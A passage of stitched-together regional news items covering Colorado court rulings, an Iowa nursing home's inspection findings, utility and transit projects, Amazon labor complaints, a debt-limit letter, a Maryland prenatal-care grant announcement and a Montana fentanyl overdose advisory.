In January 2022, U.S. District Court Judge Raymond P. Moore sided against Gerovic. HSS, he reasoned, did not violate her rights because it acted at the city's direction in creating the BOLO posters. As for Denver, Moore was unpersuaded by Gerovic's contention that her Hispanic coworkers also misbehaved but received more lenient discipline.

"The Court finds such incidents are factually distinct from the misconduct that prompted Plaintiff's firing  representing herself as a police officer on Facebook," he wrote.

On appeal, Gervoic insisted there was "no evidence" anyone actually believed she was a police officer, maintaining it was a "joke." Davidovich also argued his client's firing was unusual, given that the Hispanic custodians "were routinely permitted to engage in harassing and unprofessional behavior."

Judge Robert E. Bacharach responded that Gerovic had experienced other, less severe discipline for her prior workplace issues, more in line with what her Hispanic colleagues incurred.

"She was fired for what nobody even learned about until September," Bacharach said.

At the same time, Bacharach pointed out there was evidence suggesting the city's "ordinary reaction" would have been for supervisors to counsel Gerovic about their expectations, rather than move to terminate her.

The city, in its written brief to the 10th Circuit, argued there were no allegations Gerovic's supervisors made comments about her nationality. Denver's lawyers reiterated that it was her burden to show the city treated her differently than Hispanic employees who were otherwise similar to her.

In fact, wrote the Denver City Attorney's Office, the city had terminated a Hispanic custodian for dishonesty, just as it did with Gerovic.

The case is Gerovic v. City and County of Denver et al.
A federal judge has dismissed an Eagle County woman's complaint against the law enforcement officials who are prosecuting her for numerous charges of forgery, cybercrime and sending fake tax documents to judges.

Although Adrienne Avril Perer called it a "false assumption" that she was an adherent of the anti-government "sovereign citizen" movement, she nevertheless sued District Attorney Heidi McCollum using sovereign citizen language to claim Colorado has no authority over her. She even called the state itself a "fictitious entity."

Sovereign citizens believe they are not subject to the laws and regulations of an allegedly-illegitimate government, according to the Anti-Defamation League. The Federal Bureau of Investigation has labeled the movement domestic terrorism. Sovereign citizen tactics include making claims that they have law enforcement authority, and harassing entities with so-called self-executing contracts.

According to an investigator's statement in support of an arrest warrant, which Perer included in her federal lawsuit, then-Eagle County Court Judge Rachel J. Olguin-Fresquez received forms in the mail from the Internal Revenue Service in which the "lender," Perer, demanded the judge pay $3 million. The county court notified the Colorado Attorney General's Office, which allegedly considered Perer's actions a "fraudulent misuse of IRS forms and harassment of a judge."

At the time, Perer, of Avon, was the subject of another local prosecution in which a sheriff's deputy pulled her over for having a fake license plate on her vehicle. Olguin-Fresquez was presiding over that case. An ensuing investigation into the IRS letter revealed a second traffic stop of Perer for her fictitious license plate, in which the officer involved said to an investigator that Perer was well known to Avon police for her opposition to COVID-19 masking requirements.

The officer also allegedly received an IRS letter from Perer, as did Avon's police chief, who believed Perer was making a "mockery of the government."

Prosecutors later charged Perer with 29 offenses in connection with her harassing IRS letters. While the case was pending, Perer allegedly sent more IRS forms to the county court demanding $150,000.

"Of course, these documents are fraudulent," wrote Assistant District Attorney Joseph R. Kirwan. "It is clear that the defendant's actions to this point has been to retaliate against members of the bench, prosecution, court staff, and law enforcement who dare to challenge her belief that she is above the law."

Perer then filed a lawsuit in federal court in November, writing "overreach, no authority no jurisdiction" on the documents from her criminal case. She alleged she was a "living woman"  a sovereign citizen phrase  and that defendants McCollum and Kirwan were retaliating against her for her "good faith effort to report a taxable event/events to the IRS."

She asked to be immediately released from all judicially-approved warrants and bonds against her and also requested $22 million. Perer further filed a motion for an injunction, claiming it was a self-executing contract and demanding to be added to the "Do not stop / Do not detain" list.

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Before the defendants could respond, U.S. Magistrate Judge Michael E. Hegarty analyzed Perer's allegations and determined there was nothing for the federal courts to act upon. Under longstanding legal doctrine, federal judges cannot hear challenges to state court rulings.

"The better forum for plaintiff to raise her challenges is within that state criminal court case itself, and then to appeal to the appropriate state appellate court any decisions with which she disagrees," Hegarty wrote on Dec. 2. Further, he noted that prosecutors have immunity for actions they take in pursuing cases.

As for Perer's request to be included on the "Do not detain" list, Hegarty had no clue what list she was talking about.

Perer did not object to Hegarty's recommendation and on Jan. 5, U.S. District Court Judge Regina M. Rodriguez adopted his analysis and dismissed the case.

In an email to Colorado Politics, Perer reiterated that labeling her a sovereign citizen was "total libel" and "nonsensical jargon."

"Either one is a citizen (slave) or they are sovereign (free)," she added.

Court records indicate her criminal case is still pending. At Perer's most recent hearing last year, the records note that "party failed to appear."

The case is Perer v. McCollum et al.

Editor's note: This article has been updated with a statement from Adrienne Perer.
Former Colorado Supreme Court Chief Justice Nathan Ben Coats allowed a dysfunctional and toxic atmosphere to pervade in the State Court Administrators Office that he presided over, but investigators could not prove by clear and convincing evidence that he approved an alleged quid pro quo contract to silence an employee who faced firing.

The findings by an independent investigation by the Office of Attorney Regulation Counsel, however, left open the possibility that other lawyers involved in the contract-for-silence scandal could face scrutiny and that Coats had an obligation to report their misconduct, but didnt.

Based on the evidence provided by outside counsel, the Committee believes that there is clear and convincing evidence that the former Chief Justice violated the rules with respect to his duty to report what appeared to be improper conduct of other lawyers, which contributed to the ongoing consideration of awarding the contract, according to a statement issued by the OARCs legal regulation committee. However, he was not made aware of such conduct until after the contract was awarded. When he was made aware of the conduct, he took action to cancel the contract.

The outside investigators also made factual findings and recommendations in its report, but the OARC committee did not say what those were or whether any were implemented. The committee ultimately decided that it did not believe that (Coats) conduct justifies the imposition of discipline or an alternative and the matter as to former Chief Justice Coats has been dismissed.

The committee also did not say whether the lawyers implicated by the investigation, who were not identified in the statement, have been separately disciplined by OARC or the Supreme Court.

Other than Coats, the three key players in the scandal  former Chief of Staff Mindy Masias, who received the contract; former Human Resources Director Eric Brown, who recommended it be given to her; and former State Court Administrator Christopher Ryan, who signed it  are not licensed attorneys.

That leaves at least two other government lawyers who were involved with the contract: Judicial Department chief counsel Terri Morrison, and Andrew Rottman, counsel to the chief justice. Two assistant attorneys general were aware of the contract only after it was canceled.

None could be immediately reached for comment Monday. Coats, who retired in December 2020 but whose law license is listed as inactive, also could not be immediately reached.

Ryan said he had no comment on the OARC findings. Over the summer he testified to legislators that he stood by his assertions that Coats approved giving Masias the contract in order to prevent her threatened lawsuit, and that findings of subsequent investigations were designed to protect the robes.

Masias and Brown have never spoken publicly about the contract since the first stories appeared nearly four years ago.

The OARC is responsible for licensing lawyers in Colorado, whether in government or private practice. Although OARC is independent, it sits in the Judicial Branch beneath the Supreme Court and until recently was responsible for doling out the funding for the Colorado Commission on Judicial Discipline.

The OARC initiated the investigation in 2021 following newspaper accounts of allegations Coats gave Masias a lucrative judicial training contract in order to prevent a threatened sex-discrimination lawsuit.

The lawsuit would expose dozens of misdeeds Masias knew had occurred in the department over several years, including misconduct by judges  some of them on the Supreme Court  that were either handled quietly or not at all.

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In its statement issued Friday, the OARC committee said Coats might have been deficient as an administrator, but the investigators it hired  a pair of Illinois lawyers experienced in attorney discipline inquiries  did not find he violated any professional code of conduct.

The Committee determined that it cannot be proved by clear and convincing evidence that former Chief Justice Coats engaged in any behavior that would constitute a violation of the Colorado Rules of Professional Conduct as it concerns the awarding of the contract, the statement reads. However, the Committee did conclude that, during his tenure as chief justice, Justice Coats did not provide appropriate supervision of staff, and in doing so, failed to adhere to minimal standards of good governance.

It added: He displayed a lack of attention to the dysfunctional and toxic operations of the State Court Administrators Office and made no effort to intervene. Nevertheless, the failure to supervise here does not constitute a violation of the Colorado Rules of Professional Conduct.

A company Masias had newly formed was awarded a multimillion-dollar contract to conduct judicial training just months after she faced firing over financial irregularities. The contract was awarded following a public bid process that yielded no submissions, not even from Masias.

In a January 2019 meeting described by Ryan, Brown read from a two-page memo in which he outlined the litany of misdeeds Masias was prepared to reveal in a lawsuit if she were fired. The meeting was also attended by Coats and Rottman, according to Ryan.

Ryan said Coats was disturbed by what was being read from the document and wanted to know how to prevent the lawsuit. Coats and Rottman told investigators who looked into a different aspect of the deal that they brushed off what Brown was reading and were more concerned for Masias well-being because she had taken personal leave for a medical condition.

Ryan and Brown would resign from their jobs in 2019 following initial newspaper accounts about the contract, which was quickly canceled. Word of the memo and its contents, however, wasnt publicly disclosed until February 2021 following a state audit that put much of the SCAOs financial problems at Ryans feet. The Supreme Court at first refused to release the memo but made it public following the newspaper stories.

The revelation created an uproar. Six separate investigations including the OARCs were launched and a special legislative committee was created to explore reforming the judicial discipline process.

Two investigations by companies separately paid for by the Judicial Department have determined Coats never personally approved the contract in exchange for Masias silence and that the allegations of judicial misconduct were not precisely as claimed. Those investigations also determined that Coats had allowed the deteriorating conduct within his department to get away from him.

A number of critics have challenged the investigations findings, noting that neither inquiry had interviewed its key players: Ryan, Brown and Masias.

All three were referred to the Denver District Attorneys office for criminal investigation, but that went nowhere when prosecutors said Judicial Department delays in getting the material to them were so protracted that it prevented any meaningful effort to pursue it. District Attorney Beth McCann announced her office had closed the matter without doing any inquiry of its own.

The FBI was conducting its own inquiry, according to people interviewed by the agents. Its unclear the status of that investigation and the agency does not comment on pending matters.

The last ongoing inquiry into Coats is by the Commission on Judicial Discipline, according to the person who filed the complaint. That agencys investigations are all done in secret, although pending legislation and a proposed voter referendum would make them public when charges are filed.

The commission has been battling with the Supreme Court throughout the investigation, claiming its been stalled in its request for evidence  the commission was forced at one point to issue a subpoena  and being pressed to fall in line with the high courts mandates on how to proceed.
Once the government proves that, more likely than not, a child experienced a serious bodily injury, a judge may find no treatment plan is possible to help the parent become fit, the Colorado Supreme Court ruled on Monday.

The justices took the uncommon step of hearing an appeal directly from Arapahoe County after noting the Supreme Court had never addressed the government's burden of proof for showing a parent is so unfit that no treatment plan is possible. The court also elected to intervene for fear that the child at the center of the case, L.S., may suffer "irreparable harm."

However, the Office of Respondent Parents' Counsel, which represents indigent parents, warned that the decision effectively eliminates second chances when a child happens to sustain a serious injury, even if a parent did not inflict it.

"The ORPC is not aware of any other state with similar law permitting a finding of no appropriate treatment plan in these circumstances. This is unacceptable and unconstitutional, and the legislature must act," said case strategy director Melanie Jordan.

L.S. was one year old when his mother took him to the hospital. He had a broken leg bone, two other fractures, swelling to his groin and bruising all over his body. Arapahoe County then began child welfare proceedings, formally known as dependency and neglect, which can eventually lead to the termination of a parent's legal relationship with their child.

Among the steps in a dependency and neglect case, a judge can adopt a treatment plan, which addresses custody and services to be provided for the family. If a case gets to the termination stage, a judge may end the legal relationship if, "by clear and convincing evidence," a parent is unfit due to a child's serious bodily injury and no treatment plan would help.

L.S.'s mother asked a judge to find that Arapahoe County had not proven by clear and convincing evidence that L.S. experienced a serious bodily injury. In response, District Court Judge Don J. Toussaint believed that, at the pre-termination phase, "proof of serious bodily injury is not evidence that no treatment plan can be devised."

Arapahoe County then appealed directly to the Supreme Court.

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Justice William W. Hood III, in the Jan. 23 opinion, noted the trial court's goal at the treatment plan phase is to protect the neglected child, while attempting to keep the family together. But it is possible a judge may find no appropriate treatment plan exists. Although the law does require clear and convincing evidence of a single serious bodily injury and no viable treatment plan at the termination stage, Toussaint had misapplied the standard to the current phase of L.S.'s case, Hood concluded.

"(N)either the statute nor our case law supports such a high burden of proof for any stage of proceedings other than termination," Hood wrote.

As for Toussaint's conclusion that serious bodily injury is not sufficient grounds to rule out a treatment plan, "the legislature intended to allow trial courts to find that a parent is unfit and no appropriate treatment plan can be devised if the state shows that the child has suffered a 'single incident resulting in'" serious bodily injury, Hood added.

Ruchi Kapoor, the attorney for L.S.'s mother, portrayed the decision as a major shift to the procedural rights of parents in dependency and neglect cases.

"The Supreme Court's far-reaching decision has taken off any due process or procedural brakes for parents who find themselves in a nightmare scenario where their children are seriously injured," she said.

The case is People in the Interest of L.S.

Editor's note: This story has been updated with comments from the parties.
An Iowa nursing home resident was allegedly left in a vegetative state after the facility ignored her screams of pain and her pleas to be taken to a hospital, according to state records.

State inspectors say another resident of the same southern Iowa care facility was evicted last August when the staff dumped his belongings outside and wheeled him out the exit door with nowhere to go.

The allegations against Windsor Place Senior Living Campus in Sigourney could result in federal fines. A state fine of $9,500 fine is being held in suspension while the Centers for Medicare and Medicaid Services considers a federal penalty.

The inspectors findings come at a difficult time for Windsor Place, which has been managed by a company now mired in receivership. That company, which has managed several care facilities in Iowa, allegedly owes $15.1 million to creditors and, according to court records, it is in dire financial shape.

The most serious allegation against Windsor Place is tied to its treatment of a female resident of the home in November. State records indicate the woman, who was once a nurse, was up earlier than usual on the morning of Nov. 29, 2022, and was complaining of a severe headache. The administrator, Aimee K. Crow, who also happened to be the charge nurse on duty, allegedly told a nurse aide the resident had already been given pain medication.

Later in the day, the aide reportedly told Crow the resident was complaining her headache had worsened and that it was causing excruciating pain. The woman was asking to be sent to a hospital. The aide later told inspectors Crow took no action and seemed more interested in cleaning and organizing the medication room.

At 8:30 a.m., several of the facilitys aides allegedly approached the marketing director at Windsor Place and told her Crow was doing nothing about the residents pain or her request to go to the hospital. The marketing director later told inspectors she then raised the issue with Crow, but no action was taken and Crow never saw or assessed the resident that day.

She was like a vegetable

By noon on Nov. 29, the resident was even more agitated, grabbing her head and screaming in pain, and yelling that someone needed to take her to the hospital, according to inspectors. Two of the womans fellow residents spoke to Crow, allegedly telling her the woman was crying, was in pain, and was asking to be sent to the hospital. Two employees told Crow the woman was yelling, I was a nurse, I know they can help me  This is not normal. Nothing was done, the workers later told inspectors.

Later that afternoon, according to inspectors, the marketing director went back to Crow and reported that the womans speech was garbled and she was showing signs of confusion. Another aide reportedly talked to Crow several more times, asking her to check on the woman. The aide later told inspectors she felt helpless when Crow failed to act.

Another worker told inspectors the administrator appeared dismissive of the employees concerns, telling them the woman complains, but she is fine.

The next morning, when one of the aides reported for work, she checked on the woman and found her soaked in urine from her shoulders to her knees, according to state reports. The woman was unresponsive, unable to talk, couldnt see out of her right eye and couldnt move her right side.

Crow was allegedly standing nearby and listening as one of the aides informed a colleague of the womans condition. Crow reportedly told the two workers she had ordered a urinalysis and that the woman was fine.

One of the aides later told inspectors of the womans condition that morning. There was nothing in her eyes, she was like a vegetable, the aide reported. Two days before, on a Monday, the aide said, the woman was up, independent and in the dining room talking, and normal  and by Wednesday, she was vegetable.

The inspectors written report indicates the woman most likely suffered a stroke, pointing out that federal guidelines advise health care provider that during a stroke every minute counts. Fast treatment can lessen the brain damage that a stroke can cause. The report doesnt indicate whether the woman survived the incident or was transferred elsewhere.

When interviewed by inspectors, Crow reportedly acknowledged that staff members had come to her about the resident having a headache, but said no one ever told her the woman wanted to go to the hospital. She acknowledged she never assessed the womans condition, consulted a physician or notified the residents family of the situation.

Resident evicted with nowhere to go

As a result of the states investigation into that incident, inspectors cited Windsor Place for several other violations, including the eviction of a male, wheelchair-bound resident who had nowhere to go.

The man told inspectors that when he moved into the home, he was told he could have his own room. Later, Crow insisted he share a room with someone else. The homes social worker told inspectors that when the man objected, the administrator yelled at him, wouldnt let him speak, and kept saying, You are getting a roommate, or you are leaving against medical advice. Whats it going to be?

The social worker told inspectors the facility summoned a sheriffs deputy to escort the man outside after a maintenance worker stacked the mans belongings outside the door in trash bags.

The man, who was insulin dependent, told inspectors he wasnt given any medications and had nowhere to go. He said he called his nephew and got a ride to his ex-wifes home where he fell down the steps and was taken by ambulance to a local hospital.

The hospital kept him for two days and then arranged for him to return to Windsor Place where he was placed in a small room that he described as so cluttered he couldnt get to the bathroom. Later, he was moved to another room and assigned a roommate.

The director of nursing at the time of the incident later told inspectors she was uncomfortable with what had happened and had voiced her concerns to the corporate office. She and the homes social worker each told inspectors that as soon as Crow started at the facility in June 2022, she insisted that Medicare- and Medicaid-dependent residents share rooms to better accommodate the private-pay residents who typically pay more for their care. Residents who objected, the social worker said, were given 30-day eviction notices.

Crow told state inspectors she was the niece of the man who was evicted. Asked if she remembered why she felt it was necessary for the man to share a room when there were vacant rooms at the facility, she allegedly said she couldnt recall the reason as it was a long time ago.

State inspectors also spoke to the county deputy who had helped evict the man. The deputy reportedly confirmed his role in the matter and told inspectors he didnt feel it was right that a nursing home could force a resident onto the streets with no place to go.

The inspectors cited Windsor Place for multiple violations related to the eviction, alleging the home had badgered and coerced the man into leaving so his discharge could be labeled voluntary and against medical advice.

No state fines were imposed for any of the violations related to that incident.

Although the eviction took place in August 2022, it was only recently investigated by the Iowa Department of Inspections and Appeals. Two months before that eviction, Trinity Hospital in Bettendorf discharged a homeless, 81-year-old, wheelchair-bound veteran to the street with no phone, nowhere to spend the night and no transportation. Hours after he was forced to leave the hospital, motorists spotted the man in his wheelchair trying to merge into traffic on Interstate 74. No fines were imposed in that case.

Crow declined to comment Monday when asked about the findings of state inspectors. State records show Crow earns $92,500 per year at Windsor Place and has been an Iowa-licensed nursing home administrator since 2009. In addition to her role at Windsor Place, Crow is also the administrator at Keota Health Care Center.

Iowa workforce records show Crow, 40, was fired from Ridgewood Nursing and Rehabilitation in 2009 where she worked as a charge nurse. She was accused of telling an aide, Do what you want, in response to a request for direction on how to handle an issue. Also, she was alleged to have shared confidential information about corrective action taken against an employee.

Crows nursing home administrators license is in good standing with no public record of discipline. In the past six years, the Iowa Board of Nursing Home Administrators has levied public sanctions against a licensed nursing home administrator on only two occasions.

According to the Iowa Board of Nursing, Crows nursing license is active and has no public record of discipline.

Company now in receivership

Federal records indicate the 41-bed Windsor Place has CMS lowest possible rating on all three quality measurements used by the federal agency: health inspections, staffing levels and overall quality.

According to court records, Windsor Place and several other Iowa care facilities are operated by a network of affiliated businesses based in Chicago. In July of last year, each of those care facility operators was sued by sued Propco, which is a group of New York investors who own the Iowa care facilities and lease the property to the operators. Propco is alleging the Iowa facilities owe at least $15.1 million in unpaid rent.

According to Propco, the Chicago-based operator of the Iowa facilities is insolvent and had informed Propco last year that it was in a dire financial position with only enough cash on hand to operate the care facilities for 40 days. As a result of that lawsuit, a court-appointed receiver was put in charge of overseeing the facilities cash flow. The receiver then appointed Mission Management Communities, a Florida company, to run the Iowa care facilities.

A representative of Mission told the Iowa Capital Dispatch on Monday the company had no comment on the findings of state inspectors.

Earlier this month, the receiver in the Propco case told the court that two prospective buyers for the chain had toured some of the care facilities but no acceptable offers to purchase have been made.

Photos: North Iowa history book, 1940s-1960s 1962 Band Festival Hamilton basketball South Federal Avenue 1961 McDonald's Drive-in MCHS wins championship Lock store Hawke hemp farm Gone with the Wind Federal Avenue at night 02-23-1949.jpg Main and State streets Christian Church fire Navy books 1962 Band Festival Tug of War in East Park Officers find ammunition in car
The new-and-improved Westover electrical substation has been operating and serving customers again since December.

Now Danville Utilities is concentrating on updating the Southside substation that delivers power to residents in the southern part of the city. That project should be complete in about two months, said Danville Utilities Director Jason Grey.

We put all our focus on finishing Westover, Grey said. We pulled [work] off Southside to get Westover done and now were focusing on Southside.

Both projects have entailed installing new equipment including replacement of an old transformer and addition of a new one at each site, new breakers, controls and monitoring equipment.

The second transformer still needs to be added at the Southside location, Grey said.

The Westover substation serves about 5,000 customers, while the Southside substation serves about 4,500 customers.

The Westover substation serves a vast area including Dry Fork, the Berry Hill Road area and parts of Danville.

Southside substation, located off Hughes Street in the South Main Street area, covers the area from West Main Street and at Averett University in Danville, heading south in the Grove Park area, Southwyck, Druid Hills and Stratford Place to the North Carolina line.

The projects at both stations have included expansion at those sites to accommodate anticipated growth in the city, Grey said.

Were doubling the capacity and were able to have more growth in those areas if needed, Grey said. We have more ability to serve more customers.

Also, adding second transformers at Danville Utilities substations provides redundancy, so if something happens to one transformer, that substation could still serve all its customers with the other one, Grey said.

The Westover and Southside substations are part of a continuous effort by Danville Utilities to upgrade its old substations that are about 50 years old.

Other projects in the works include a new $2.5 million Ballou substation for the Caesars Virginia casino resort in Schoolfield. That substation is expected to be complete in the fall of 2023.

Several projects, including a new electrical substation at the growing Cyber Park and an upgrade at another off Piney Forest Road in northern Danville, are included in a new capital improvement plan for Danville Utilities.

A Cyber Park substation project is estimated to be about $1.5 million and upgrades to the New Design substation in the Maplewood Avenue area off Piney Forest Road would cost about $4.5 million.

Danville Utilities is in the early stages of engineering for the substation, Grey said. He hopes to have it complete by the summer of 2024.

Equipment will include a transformer, several transmission and distribution breakers and monitoring equipment for the transmission and distribution lines.

The park, which includes the Institute for Advanced Learning and Research and the Regional Center for Advanced Training and Technology, is attracting more industry and that has led to a need for a substation there, officials say.

Projects announced late last year from the U.S. Navy and U.S. Department of Defense were two examples Grey mentioned to the Danville Register & Bee in October.

That month, it was announced that the Accelerated Training in Defense Manufacturing program will expand by creating a regional training facility in the Cyber Park.

The Cyber Park substation would include 25 megawatts  enough power to serve 2,000 to 3,000 homes  and would serve less than 100 industrial customers, Grey said. The Cyber Park itself will likely take up most of the substation capacity.

In addition, equipment on order for upgrades to the Airside Industrial Park substation to serve additional growth in that area, Grey said.

Were bidding out construction for it, he said. The engineering is complete.

Danville Utilities is also working on expanding the West Fork substation and adding a fourth electric delivery point for getting energy from Appalachian Power.

The West Fork substation sits on about 5 acres on Long Circle, off U.S. 58. Expansion of the substations footprint would include a new power delivery point from Appalachian Power.

Danville Utilities existing delivery points for Appalachian Power are off Kentuck Road, at Riverside Drive and Arnett Boulevard and at the Danville Utilities location at Monument Street.

Grey said he hopes construction on the project will begin in the spring or summer.
RALEIGH  The complexity and high cost of building a commuter rail line in Durham mean the first leg of the Triangles regional transit project would largely be built in Wake County. Theres not enough money to build the proposed $3.2 billion, 43-mile commuter rail line all at once. So, officials have suggested doing it in phases and is asking the public to weigh in on which section should be built first. Commuter trains would use a new set of tracks built in an existing North Carolina Railroad Company corridor between West Durham and Clayton. Trains would stop at 15 stations, including Research Triangle Park and the Amtrak stations in downtown Durham, Cary and Raleigh. A feasibility study for the project breaks the line down into three sections: the western leg through Durham; the middle from Research Triangle Park to downtown Raleigh; and the eastern leg from Raleigh to either Garner or Clayton. A survey published with the plan says the Durham leg is being considered for a later implementation stage and asks people to say whether they think construction should begin with the middle or eastern legs. The first leg would likely take a decade to build and be ready for passengers by 2035, according to the study. The eastern section would be the easiest and cheapest to build, but starting in the middle makes the most sense, said Charles Lattuca, the president and CEO of transportation operator GoTriangle. The central part covers about half of the corridor for about a third of the entire systems cost, Lattuca said. It would connect downtown Raleigh and N.C. State for somewhere between $800 million and $1 billion. It also gets GoTriangle closer to its ultimate goal of serving the Triangles two largest cities, Lattuca said. I really think the Durham and Raleigh connection is of the highest importance, he said. Durham leaders agree, which is why theyre hoping to avoid building the western leg later than the others. Durham endured years of planning for a proposed light rail line between the city and Chapel Hill that failed in 2019, in part because Duke University and the N.C. Railroad balked at providing needed right-of-way. Durham deserves to be served by commuter rail as soon as possible, says Brenda Howerton, head of the county commissioners and a member of GoTriangles board. Im not in agreement with building that last, no. Its a bad idea, Howerton said. We need to do more now to find out what else is possible. The western leg is the most difficult and expensive because the second track would require more work on crossings, bridges and sidings, including around a Norfolk Southern freight yard in East Durham. The western section would cost $1.4 billion to $1.6 billion and take a dozen years to complete, according to GoTriangle. At that cost, commuter rail would deplete the money generated by transit taxes in Durham. Waiting would allow Durham to build up more reserves and help GoTriangle make a better case for federal funding in the future, Lattuca said. If you cant afford the whole project, the phased approach is a good approach, he said. I think if we start building something, its going to make us even more successful for federal grants in the future. As the name implies, commuter rail was primarily conceived as a way to give people an alternative to driving to work. Highways have grown more congested as the regions economy hums and attracts new companies and residents. More than two million people live in the nine-county Triangle region, and the population is expected to grow by a million more by 2050, according to the N.C. Office of State Budget and Management. The commuter rail proposal is the third attempt to develop a regional transit line that runs on rails. In addition to the failed Durham-Orange Light Rail project, GoTriangles predecessor, the Triangle Transit Authority, spent years planning a similar commuter rail system along the N.C. Railroad corridor before the idea was abandoned in 2006 after failing to win federal support or funding. Not everyone feels commuter rail is right for the Triangle even now. Aidil Ortiz, a long-time transit advocate who lives in East Durham, said the system seems designed not for people who use transit now but in hopes of luring people who dont. Were spending all this energy on the dreams of people who are not currently public transit enthusiasts anyway, Ortiz said. It feels like, Oh, well big cities should have it. Progressive cities should have it. But are you, the people who are most professing it, already committed to the transit we have? People who rely on transit now in Durham would much rather see more frequent buses that serve a larger area, Ortiz said. They do not have a choice, in many instances, about their transit options, she said. They do not have the resources to get a car, so they are dependent on this public good. And what they have been telling us loud and clear is that they want improved bus service. Lattuca agrees that Durham needs more and better bus service, which is why it makes sense to delay building commuter rail in the county and not deplete its transit money. He said commuter rail would be one component of a successful transit system in the Triangle, in addition to buses and the planned bus rapid transit lines in Chapel Hill and Raleigh. No one has committed to the commuter rail line yet. The feasibility study and the public feedback it receives are meant to help local and county officials in Wake, Durham and possibly Johnston counties decide whether to move forward. We have a corridor here that provides us an opportunity for transit, and the corridor is not going away, Lattuca said. So I think the fact that we need to exploit this corridor, maximize its transit benefits, I think everybody agrees thats a good idea.
GARNER  The National Labor Relations Board is investigating unfair labor practice allegations at two Amazon facilities in North Carolina  in Garner and Charlotte  according to public records obtained by The News & Observer.

The first complaint was filed on Dec. 8 by a group called Carolina Amazonians United for Solidarity and Empowerment, which is attempting to unionize the 5,000-worker distribution center in Garner, a few miles southeast of downtown Raleigh. The group accused Amazon of violating an employees rights under the 1935 National Labor Relations Act by disciplining the worker in retaliation for engaging in protected concerted activities and/or union activities. The name of the worker was redacted from the public records.

Protected concerted activities, as outlined in Section 7 of the National Labor Relations Act, are the rights that federal law grants workers to improve their working conditions through actions like unionization and collective bargaining.

Section 7 is like the Bill of Rights for labor law, said Dan Bowling, who teaches labor and employment law at Duke University School of Law.

Carolina Amazonians, which a pair of Garner workers formed last January, remains in the early stages of its organizing drive. The group has held rallies and circulated petitions but has yet to pass out union authorization cards, which could trigger an official union election if at least 30% of employees sign. Organizing groups often wait until they have support from a majority of workers before pursuing an election.

Organizing the two million-square-foot Garner warehouse lacks much precedent. North Carolina ranks among the least unionized states, and only one Amazon workplace in the United States is currently unionized. The distribution center opened in August 2020.

Carolina Amazonians declined to comment on the details of its unfair labor practice charge, but did share the groups broader motivations for organizing.

Amazon has proven in its 28 years in business that it will not listen to the voices of their workers and refuses to conduct business in a way that makes it Earths best employer, said Treasurer Tim Platt, alluding to one of Amazons written business principles. This is why workers at (Garner) are organizing and our union is led by workers.

Amazon did not respond to requests for comment about the unfair labor practice allegations it faces in North Carolina.

In a typical year, American employers receive between 15,000 and 20,000 unfair labor charges, with about half eventually being dismissed or withdrawn. The vast majority of the rest are settled between the involved parties before the NLRB issues an order.

The board cant fine companies over unfair labor practices but can seek to have affected employees reinstated or receive back pay if violations are substantiated.

Amazon is no stranger to unfair labor practice accusations as some of its thousands of workplaces have begun to explore unions. Last year, the NLRB took Amazon to federal court over the firing of an employee involved in organizing what later became the first, and still only, unionized Amazon workplace  the JFK8 warehouse in New York City.

(Amazon) is very explicit that it prefers its employers dont unionize, said Eric Fink, a labor law professor at Elon University School of Law in Greensboro. I would characterize it as aggressive. They actively seek to resist unionization through a whole lot of means.

Whether those means cross a legal line is for the NLRB to decide. In the past, Amazon has hired anti-union consulting firms and required workers to attend anti-union informational sessions, both of which are permissible under federal law.
I am wondering what the Republican Congress's vision is for the country as they attempt to hold us hostage over the debt limit. I think about former President Trump who raised our debt by $7.8 trillion, enacted new tax laws that reduced the corporate tax rate from 35% to 21%  projected to increase our national deficit by $3 trillion by 2029, and used the loopholes to pay his federal taxes at a rate of 4%; however, it was OK to raise the debt limit under Trump to pay for these things  three times. Presently two thirds of the Republican members of Congress are millionaires and they have their eye on getting their hands on the safety net for the American people: Social Security, Medicare and Medicaid.
 January 23, 2023



Media Contact: Chase Cook, Acting Director, Office of Communications, 410-767-8649

Maryland Department of Health announces $430,000 in grants to expand CenteringPregnancy sites

New funding recognizes Maternal Health Awareness Day, expands group-based prenatal care and support

Baltimore, MD  The Maryland Department of Health (MDH) today announced nearly $430,000 in grant funding to expand CenteringPregnancy sites in Maryland. The funding will help provide critical prenatal services to eligible pregnant people in priority jurisdictions in the state.

CenteringPregnancy benefits pregnant people, babies, and health care providers, said MDH Deputy Secretary for Public Health Services Dr. Jinlene Chan. Pregnant people and providers take the journey together, leaving no one behind, and investing in the well-being of both parent and baby.

Maryland has identified group prenatal care as a promising intervention with the potential to reduce pregnancy-related deaths and preterm births, and improve maternal-infant outcomes.

CenteringPregnancy is a group prenatal care model that offers patients more time with a provider and encourages interaction with other pregnant people. Through the service, participants meet as a group to discuss maternal and infant health and receive clinical care from a provider. Participants are grouped based on similar estimated delivery dates and meet for 90-minute prenatal or postpartum visits at regular intervals.

Evidence shows the CenteringPregnancy model reduces prenatal health care costs, lowers the risk of preterm birth, and closes the disparity gap in preterm birth between Black and White birthing people. CenteringPregnancy has been shown effective in increasing entry into prenatal care during the first trimester and breastfeeding rates while reducing rates of prenatal visit no-shows, preterm births, and low birth weight.

Grant funding will support the following programs:

Mercy Medical Center will receive approximately $86,000 over three years to implement the CenteringPregnancy model at their Mead Building location in Baltimore City. The program will serve patients from Mercys downtown Metropolitan OB/GYN practice, which sees a high number of Black birthing people and Medicaid recipients.

Centering Healthcare Institute (CHI) will receive approximately $343,000 over three years to establish, support, and certify new CenteringPregnancy programs in priority jurisdictions. CHI will recruit four new CenteringPregnancy sites in priority jurisdictions in Maryland. It will provide administrative support for the implementation of the CenteringPregnancy model of group prenatal care, and offer continual technical assistance to sites during their two-year implementation phase.

The funding announced today comes through Marylands Health Services Cost Review Commission and coincides with Maternal Health Awareness Day 2023.

Maternal and child health is a top population health priority for the state. It is part of Marylands SIHIS, a coordinated public-private initiative to improve health, reduce disparities, and transform healthcare delivery. To learn more about efforts to improve the health of families statewide, visit the MDH Maternal and Child Health Bureau - SIHIS Webpage.

For more information about Medicaid services for pregnant people and children, visit the MDH Office of Medicaid Maternal and Child Health Programs.

###

The Maryland Department of Health is dedicated to protecting and improving the health and safety of all Marylanders through disease prevention, access to care, quality management, and community engagement.

Follow us at

http://www.twitter.com/MDHealthDept

and at

Facebook.com/MDHealthDept

.
The Ravalli County Sheriffs Office and Ravalli County Public Health have issued advisories warning the public of an increase in fentanyl related overdoses.

At least 28-non fatal overdoses and eight fatal overdoses suspected to be due to non-pharmaceutical fentanyl use were reported between Jan. 11-21, according to the Montana Department of Health and Human Services. The overdoses occurred in Cascade, Choteau, Custer, Flathead, Gallatin, Lake, Lewis and Clark, Missoula, Ravalli, Sheridan, Silver Bow, and Yellowstone counties.

